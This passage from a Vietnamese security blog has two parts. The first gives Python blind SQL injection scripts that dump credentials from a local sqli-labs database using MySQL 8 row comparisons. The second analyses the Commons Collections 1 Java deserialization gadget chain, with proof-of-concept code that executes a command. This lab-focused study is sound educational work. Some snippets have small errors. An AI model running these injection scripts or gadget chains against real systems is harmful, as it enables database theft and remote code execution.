Bảng này có 22 cột. Tương tự như information_schema.tables bảng này cần thêm 2 giá trị xác định là database và table, và dò khoảng đúng với database và table của column. Việc dò này các bạn lưu ý tự dò nhé, bởi vì với mỗi phiên bản sẽ có thêm những table và column nên nó chỉ gần sát với khoảng của mình thôi.

Script dump column_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database cần tìm column_name: ", end='')
db_name = str(input())
print("Nhập table cần tìm column_name: ", end='')
tb_name = str(input())
print("Nhập bắt đầu column_name cần tìm: ", end='')
index_column_begin = int(input())-1
print("Nhập kết thúc của column_name cần tìm: ", end='')
index_column_end = int(input())-1
column_name = ''
# -------
all_column_name = []
count = 0
for index_column in range(index_column_begin, index_column_end):
    count = 0
    for i in range(1, 20):
        if count > 0:
            break
        for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
            payload = "1' and ('def','{}','{}','{}',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit {},1)-- -".format(
                db_name, tb_name, column_name+j, index_column)
            print(column_name+j)
            payload_encoded = urllib.parse.quote(payload)
            r = requests.get(url=url+payload_encoded)
            if "Your Login name" in r.text:
                # bước này mình check khi nó bị nhiễu ở kí tự cuối
                if j == '~':
                    count += 1
                continue
            else:
                # print(r.text)
                column_name += chr(ord(j)-1)
                break
    # break với trường hợp column_name = '' (test là thấy, tùy cách mình lập trình ^^)
    if column_name == "":
        continue
    # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
    list_clname = list(column_name)
    print(list_clname)
    list_clname[-1] = chr(ord(list_clname[-1])+1)
    column_name = "".join(list_clname)
    all_column_name.append(column_name)
    column_name = ""
    print("All table name:")
    print(all_column_name)
'''
Nhập database cần tìm column_name: security
Nhập table cần tìm column_name: users   
Nhập bắt đầu column_name cần tìm: 3490
Nhập kết thúc của column_name cần tìm: 3505
All table name:
['id', 'username', 'password', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`', '__________________`']
'''

Dump bảng đã được xác định:

Mình không hiểu tại sao bây giờ giả sử giá trị cần tìm là dump, thì mình xét với dump thì nó vẫn trả về true. Nhưng mà cũng không quan trọng lắm, làm theo cái mình test thôi à ^^.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ('1','duma','')<=(table security.users limit 1);
+-------------------------------------------------+
| ('1','duma','')<=(table security.users limit 1) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('1','dumb','')<=(table security.users limit 1);
+-------------------------------------------------+
| ('1','dumb','')<=(table security.users limit 1) |
+-------------------------------------------------+
|                                               1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('1','dumc','')<=(table security.users limit 1);
+-------------------------------------------------+
| ('1','dumc','')<=(table security.users limit 1) |
+-------------------------------------------------+
|                                               0 |
+-------------------------------------------------+
1 row in set (0.00 sec)

huhu kĩ năng lập trình kém nên không biết viết như nào cho chuẩn nhất (lười quá), script của mình ở dưới bị dính thằng ‘0’ cách mình bypass chưa tối ưu, nếu giá trị có số 0 thì mình sai nhưng mà lười viết quá.
Dump id:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database của table: ", end='')
db_name = str(input())
print("Nhập table: ", end='')
tb_name = str(input())
value = ''
# -------
all_value = []
count = 0
for index in range(0, 100):
    count = 0
    for i in range(1, 20):
        if count > 0:
            break
        for j in "0123456789abcdefghijklmnopqrstuvwxyz-{|}~":
            payload = "1' and ('{}','','')<=(table {}.{} limit {},1)-- -".format(
                value + j, db_name, tb_name, str(index))
            print(value + j)
            payload_encoded = urllib.parse.quote(payload)
            r = requests.get(url=url+payload_encoded)
            # print(r.text)
            if "Your Login name" in r.text:
                continue
            else:
                # print(r.text)
                if j == '0':
                    break
                value += chr(ord(j)-1)
                break
    if value == "":
        continue
    all_value.append(value)
    value = ""
    print("All value:")
    print(all_value)

Dump username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database của table: ", end='')
db_name = str(input())
print("Nhập table: ", end='')
tb_name = str(input())
print("Nhập id: ", end="")
id = str(input())
print("Nhập index của id: ", end="")
index = str(input())
# vì chúng ta biết được index của id từ script đầu tiên rồi
value = ''
# -------
for i in range(1, 20):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{|}~":
        payload = "1' and ('{}','{}','')<=(table {}.{} limit {},1)-- -".format(
            id, value + j, db_name, tb_name, index)
        print(value + j)
        payload_encoded = urllib.parse.quote(payload)
        r = requests.get(url=url+payload_encoded)
        # print(r.text)
        if "Your Login name" in r.text:
            continue
        else:
            # print(r.text)
            if j == '0':
                break
            value += chr(ord(j)-1)
            break
print("Giá trị cần tìm là: ", end="")
print(value)

Dump password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump username
```python
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database của table: ", end='')
db_name = str(input())
print("Nhập table: ", end='')
tb_name = str(input())
print("Nhập id: ", end="")
id = str(input())
print("Nhập username: ", end="")
username = str(input())
print("Nhập index của id: ", end="")
index = str(input())
# vì chúng ta biết được index của id từ script đầu tiên rồi
value = ''
# -------
for i in range(1, 20):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{|}~":
        payload = "1' and ('{}','{}','{}')<=(table {}.{} limit {},1)-- -".format(
            id,username, value + j, db_name, tb_name, index)
        print(value + j)
        payload_encoded = urllib.parse.quote(payload)
        r = requests.get(url=url+payload_encoded)
        # print(r.text)
        if "Your Login name" in r.text:
            continue
        else:
            # print(r.text)
            if j == '0':
                break
            value += chr(ord(j)-1)
            break
print("Giá trị cần tìm là: ", end="")
print(value)

HANDLER Statement

Systax:

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> HANDLER users OPEN;
Query OK, 0 rows affected (0.00 sec)

mysql> HANDLER users read first
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
mysql> HANDLER users read next;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
+----+----------+------------+
mysql> HANDLER users read next;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | Dummy    | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

Để về lại từ đầu chúng ta sẽ bắt đầu lại từ first
mysql> HANDLER users read first
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+

Alias tên bảng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> handler users open as rayin;
Query OK, 0 rows affected (0.00 sec)

mysql> handler rayin read first;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> handler rayin read next;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)
]]> Mysql SQLi Mysql SQLi https://rayinaw.github.io/2022/11/27/sqli-mysql8/#disqus_thread Phân tích chuỗi Commons Collections 1 với TransformedMap https://rayinaw.github.io/2022/11/04/Commons-Collections1-TransformedMap/ https://rayinaw.github.io/2022/11/04/Commons-Collections1-TransformedMap/ Fri, 04 Nov 2022 11:00:38 GMT <h2 id="Mot-vai-khai-niem-can-nam"><a href="#Mot-vai-khai-niem-can-nam" class="headerlink" title="Một vài khái niệm cần nắm"></a>Một vài khá Một vài khái niệm cần nắm

Trước tiên chúng ta cần hình dung lớp Runtime sẽ exec câu lệnh như nào, ở đây mình có sử dụng kiến thức reflection mà mình đã có bài viết về nó, các bạn có thể tham khảo thêm.

  • Lớp java.lang.reflect.Method có phương thức invoke, nó dùng để invoke method của object được truyền vào ở tham số đầu tiên, và với các tham số của method này là Object args (tham số lưu dưới dạng object).
    1
    2
    3
    public Object invoke(Object obj, Object... args)  throws IllegalAccessException,  
                   IllegalArgumentException,  
                    InvocationTargetException
  • Trong lớp Runtime có phương thức exec dùng để exec câu lệnh trên system.
  • Bây giờ mình sẽ thực hiện invoke method exec của lớp runtime, vì nó là method private nên để sử dụng chúng ta cần setAccessible(“true”).
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    package org.example;

    import java.lang.reflect.*;

    public class runtime{
        public static void main(String[] args) throws Exception {
            Runtime runtime = Runtime.getRuntime();
            Method execMethod = Runtime.class.getDeclaredMethod("exec",  String.class);
            execMethod.setAccessible(true);
            execMethod.invoke(runtime, "calc");
        }
    }

Phân tích

Sơ đồ tóm tắt chuỗi.

InvokerTransformer.transform

Chain này bắt đầu từ lớp InvokerTransformer. Lớp này implements interface Transformer.

Hàm tạo của lớp InvokerTransformer:

  • Object[] args ở đây nhận một Object với kiểu String.
  • Class[] paramTypes nhận một Object của lớp Class

Trong trường structure tìm đến method transform trong class InvokerTransformer ta thấy:

  • Đầu tiên, nó thực hiện lấy class của object input là tham số của phương thức transform.
  • Tiếp theo nó thực hiện lấy phương thức với tên phương thức là tham số iMethodName của object của lớp InvokerTransformer, và iParamTypes là lớp đại diện cho kiểu tham số của phương thức này rồi gán vào object method có kiểu là Method.
    Sau đó nó thực hiện invoke method là iMethodName của của object input với tham số là iArgs.

Có nghĩa khi chúng ta thực hiện invoker.transform(object) nó sẽ tương đương với việc chúng ta thực hiện invoke() method chứa trong biến invoker của object. Vậy nên ở đây chúng ta có thể sử dụng lớp InvokerTransformer để thực hiện lệnh exec của lớp Runtime.

1
2
3
4
5
6
7
8
9
10
11
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
    public static void main(String[] args) {
        String[] cmd = new String[] {"calc"};
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, cmd);
        invokerTransformer.transform(Runtime.getRuntime());
        //Runtime.getRuntime() trả về một object của lớp Runtime
    }
}

Tiếp theo chúng ta cần tìm lớp nào gọi đến phương thức transform của lớp InvokerTransformer.

Ctrl + Chuột trái click vào phương thức transform:

Phương thức này có nhiều lớp gọi đến, nhưng để có ảnh hưởng lead to CC1 chỉ có 2 lớp là TranformedMap và LazyMap. Bài viết này mình sẽ phân tích theo hướng TranformedMap. LazyMap mình sẽ phân tích sau. Cùng phân tích thôi nào~

TransformedMap.checkSetValue

Hàm này có 3 phương thức gọi đến method transform là checkSetValue, transformValue và transformKey. Tuy nhiên phương thức chúng ta cần đi vào là checkSetValue bởi vì nó được sử dụng ở những lớp khác và kéo theo một chuỗi gadget.

Phương thức checkSetValue:

Nhìn vào phương thức này chúng ta thấy khá tương đồng với đoạn code ngắn để exec calc với lớp InvokerTranformer rồi phải không.

Bây giờ chúng ta sẽ xem valueTransformer là gì:

valueTransformer là một object của lớp Transformer.

Hàm tạo này khai báo protected nên không thể tạo trực tiếp, chúng ta cần tìm phương thức trả về object của lớp này.

Trong lớp này có phương thức decorate return một object của TransformedMap, các tham số đầu vào tương ứng với các tham số của hàm tạo TransformedMap. Chúng ta sẽ dùng phương thức này để tạo gián tiếp một object của lớp TransformedMap.

valueTransformer là một object kiểu Transformer nên chúng ta có thể truyền vào một object kiểu InvokerTransformer vì thằng này implements Transformer. Phương thức checkSetValue là phương thức protected nên chúng ta cần dùng reflection để gọi đến phương thức này.

Chuỗi poc ngắn từ TranformedMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.*;
import java.util.HashMap;

public class runtime{
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap<>();
        String[] argsRuntime = new String[]{"calc"};
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, argsRuntime);
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
        Method method = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
        method.setAccessible(true);
        method.invoke(transformedMap, Runtime.getRuntime());
        //tham số của checkSetValue sẽ được truyền bào phương thức transform nên chúng ta sẽ truyền vào Runtime.getRuntime() tương tự như invokerTransformer.transform(Runtime.getRuntime());
    }
}

Đây chỉ là một POC nhỏ, chỉ để chỉ ra rằng lớp TransformedMap có thể kích hoạt được phương thức của lớp Runtime. Vấn đề của chúng ta bây giờ là cần tìm ai gọi đến method checkSetValue này.

AbstractMapEntryDecorator.MapEntry

Tiếp tục Ctrl + chuột trái click vào checkSetValue, ta thấy phương thức AbstractMapEntryDecorator.MapEntry.setValue() gọi đến checkSetValue.

  • Lớp AbstractMapEntryDecorator là abstract cha của lớp TransformedMap.
  • setValue là phương thức của lớp Map.Entry.

Trước tiên chúng ta cần hiểu entry là gì à cách nó được sử dụng trong Map. Các bạn có thể tham khảo ở đây.

Hàm setValue() sẽ thực hiện gán giá trị vào key. Với thư viện map, khi truy cập từng cặp khóa-giá trị (entry) này chúng ta sẽ dùng cách duyệt qua từng entry rồi thao tác với từng entry đó. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
public class testMapIterator {
    public static void main(String[] args) {
        HashMap<String,Object> hashMap = new HashMap<>();
        hashMap.put("key1", "value1");
        hashMap.put("key2", "value2");
        hashMap.put("key3", "value3");
        Set<Map.Entry<String, Object>> set = hashMap.entrySet();
        System.out.println("Results: ");
        for(Map.Entry<String, Object> entry : set) {
            entry.setValue("aaa");
        }
        System.out.println(hashMap);
    }
    //Results: 
    //{key1=aaa, key2=aaa, key3=aaa}
}

Theo dõi hàm setValue:

Phương thức setValue của interface java.util.Map được implements bởi lớp AbstractMapEntryDecorator, tiếp đến phương thức setValue của lớp này được Override bởi phương thức setValue của lớp AbstractInputCheckedMapDecorator.MapEntry.

Khi duyệt map của lớp bằng AbstractInputCheckedMapDecorator.EntrySetIterator, phương thức next() return ra một AbstractInputCheckedMapDecorator.MapEntry.
Do đó chúng ta có thể gọi đến hàm setValue() của AbstractInputCheckedMapDecorator.MapEntry.

Lớp transformedMap implements lớp AbstractInputCheckedMapDecorator, do đó khi chúng ta decorate một map thành transformedMap và duyệt map bằng entrySet() kết hợp với iterator rồi thực hiện hàm setValue() của transformedMap, nó sẽ thực hiện hàm setValue của lớp AbstractInputCheckedMapDecorator.MapEntry, phương thức này sẽ gọi đến hàm checkSetValue(). Bạn nào mới học mà không hiểu thì đoạn Map.Entry entry : map.entrySet() là làm tắt bỏ bước define Iterator tuy nhiên nó cũng iterator bên trong đó nhé.

Tiếp tục viết poc từ phương thức này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args){
        String[] cmd = new String[] {"calc"};
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, cmd);
        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, invokerTransformer);
        map.put(null, null);
        for(Map.Entry entry : map.entrySet()){
            entry.setValue(Runtime.getRuntime());//nếu bạn không hiểu dòng này thì nhìn lại hàm checkSetValue và POC trên kia.
        }
    }
}

Nó đã kích hoạt được lệnh exec của lớp Runtime. Bây giờ chúng ta sẽ tìm xem có phương thức readObject nào gọi phương thức setValue này không. Click chuột phải vào hàm setValue và chọn Find Usage. Ở đây mình không thể tìm được lớp nào bởi vì mình chưa decompile trực tiếp các file trong jdk8u65, khá nhiều thứ để làm nên thôi mình sẽ tiếp tục làm theo sơ đồ của người ta.

AnnotationInvocationHandler

Ctrl + N để tìm lớp AnnotationInvocationHandler, trong phương thức readObject của lớp này, chúng ta thấy có phương thức setValue được gọi.
Hàm tạo của lớp AnnotationInvocationHandler:

Hàm readObject của lớp AnnotationInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

Lớp AnnotationInvocationHandler có phạm vi default, nên chúng ta cần lấy lớp này và hàm tạo của nó thông qua reflection, sau đó khởi tạo nó. (stuck cũng lâu phết hic)

  • Constructor của lớp Non-public phải lấy bằng phương thức getDeclaredConstructor().
  • Tham số thứ nhất của hàm tạo là một lớp, tham số thứ hai là một map.

Một đoạn code nhỏ để test thử việc khởi tạo lớp AnnotationInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        String[] cmd = new String[] {"calc"};
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, cmd);
        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, invokerTransformer);
        map.put("key", "value");
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassConstructor.setAccessible(true);
        Object aihObject = aihClassConstructor.newInstance(Override.class, map);//Tham số đầu của constructor là lớp bất kỳ kế thừa Annotation, và Override.class là một lớp thõa mãn. Các bạn có thể tự tìm hiểu thêm về Annotation.
        serialize(aihObject);
        unserialize("ser.bin");
    }
}

Đến đây vẫn chưa có gì xảy ra bởi vì:

  • Đối tượng Runtime chưa được đặt vào hàm setValue. Và ở đây nó được set là object kiểu AnnotationTypeMismatchExceptionProxy, chúng ta không thể kiểm soát được.
    1
    2
    3
    4
    5
    6
    if (var7 != null) {
        Object var8 = var5.getValue();
        if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
            var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
        }
    }
  • Chúng ta chưa làm thõa mãn hai điều kiện dẫn đến hàm setValue trong AnnotationInvocationHandler.readObject.
  • Đối tượng Runtime không thể serialize và cần được chuyển đổi thành dạng có thể serialize thông qua reflection.

Giải quyết vấn đề Runtime không thể serialize

Để thõa mãn được điều kiện serialize, mọi thứ trong nó đều phải serialize được. Tuy nhiên Runtime không thể serialize được, vậy nên chúng ta cần dùng Runtime.class để lúc deser, nó sẽ tạo một đối tượng Runtime cho chúng ta.

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        Class runtimeClass = Runtime.class;
        Method method = runtimeClass.getDeclaredMethod("getRuntime");
        Runtime runtime = (Runtime) method.invoke(null);//method getRuntime() không cần tham số
        Method exec = runtimeClass.getDeclaredMethod("exec", String.class);
        exec.invoke(runtime, "calc");
    }
}

Thay vì invoke trực tiếp, chúng ta có thể lợi dụng lớp InvokerTransformer để invoke hàm getRuntime hay invoke method và invoke exec của lớp runtime. Mình sẽ đi từng bước cho các bạn dễ hiểu.
Đầu tiên là invoke method getDeclaredMethod để lấy ra method getRuntime.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        Class runtimeClass = Runtime.class;
        String[] cmd = new String[] {"calc"};
        //Tương đương với Method getRuntimeMethod = runtimeClass.getDeclaredMethod("getRuntime");
        InvokerTransformer InvokerGetMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
        Method getRuntimeMethod = (Method) InvokerGetMethod.transform(Runtime.class);
        // Tương đương với Method method = runtimeClass.getDeclaredMethod("getRuntime");
        Runtime runtime = (Runtime) getMethod.invoke(null);
        runtime.exec("calc");
    }
}

Tiếp theo là invoke biến getRuntimeMethod để tạo Runtime object. Rồi thực hiện invoke method exec của object runtime mới tạo ra. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        Class runtimeClass = Runtime.class;
        //Tương đương với Method getRuntimeMethod = runtimeClass.getDeclaredMethod("getRuntime");
        InvokerTransformer InvokerGetMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
        Method getRuntimeMethod = (Method) InvokerGetMethod.transform(Runtime.class);
        //Tương đương với Runtime runtime = (Runtime) method.invoke(null);
        InvokerTransformer InvokerRuntime = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
        Runtime runtime = (Runtime) InvokerRuntime.transform(getRuntimeMethod);
        //Tương đương với exec.invoke(runtime, "calc");
        InvokerTransformer InvokerExec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        InvokerExec.transform(runtime);
    }
}

Để ý ở phần trên chúng ta có các InvokerTransformer nối tiếp nhau, để thuận tiện hơn người ta đã có tạo ra một lớp là ChainedTransformer, nó cũng thực hiện như InvokerTransformer tuy nhiên điểm khác là nó sẽ thực thi theo một chuỗi gắn kết với nhau. Chúng ta sẽ lợi dụng hàm này để thực thi tương tự như trên.

ChainedTransformer

Viết tiếp chain theo ChainedTranformer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }
}

Kết hợp với TransformedMap chúng ta có chuỗi hoàn chỉnh sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        String[] cmd = new String[] {"calc"};
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");
        Transformer[] transformers = {
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassConstructor.setAccessible(true);
        Object aihObject = aihClassConstructor.newInstance(Override.class, map);
        serialize(aihObject);
        unserialize("ser.bin");
    }
}

Giải quyết vấn đề câu lệnh if

Đến đây chúng ta vẫn chưa giải quyết vấn đề AnnotationInvocationHandler.readObject sử dụng hàm setValue. Đến đây các bạn nên debug để xử lý dễ dàng hơn nhé.

Đặt breakpoint ở dòng 339 và 341.

Chúng ta cần var7 là một giá trị không null.

  • Map var3 = var2.memberTypes(), var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạn Object aihObject = aihClassConstructor.newInstance(Override.class, map);.
  • var2 = AnnotationType.getInstance(this.type): var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạn Object aihObject = aihClassConstructor.newInstance(Override.class, map);
  • Code gốc khá là khó hiểu nên các bạn cứ hiểu đơn giản là trong AnnotationType có biến là memberTypes là một map với key là tên của biến trong Override.class mình cho vào, và value là kiểu của biến này. Ta gọi var2.memberTypes() sẽ trả về map này.
    Vậy là lỗi ở đây xảy ra do interface Override không có biến nào cả. Chúng ta cần tìm Annotation khác có biến, ở đây chúng ta có annotation Target có một biến. Và đặt lại giá trị trong map là key=value và value=bất kỳ:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    package org.example;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.*;
    import java.lang.annotation.Annotation;
    import java.lang.annotation.Target;
    import java.lang.reflect.*;
    import java.util.*;
    public class testTransformedMap {
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
        public static void main(String[] args) throws Exception {
            String[] cmd = new String[] {"calc"};
            HashMap<Object, Object> hashMap = new HashMap<>();
            hashMap.put("value", "testtt");
            Transformer[] transformers = {
                    new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
            Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
            aihClassConstructor.setAccessible(true);
            Object aihObject = aihClassConstructor.newInstance(Target.class, map);
            serialize(aihObject);
            unserialize("ser.bin");
        }
    }

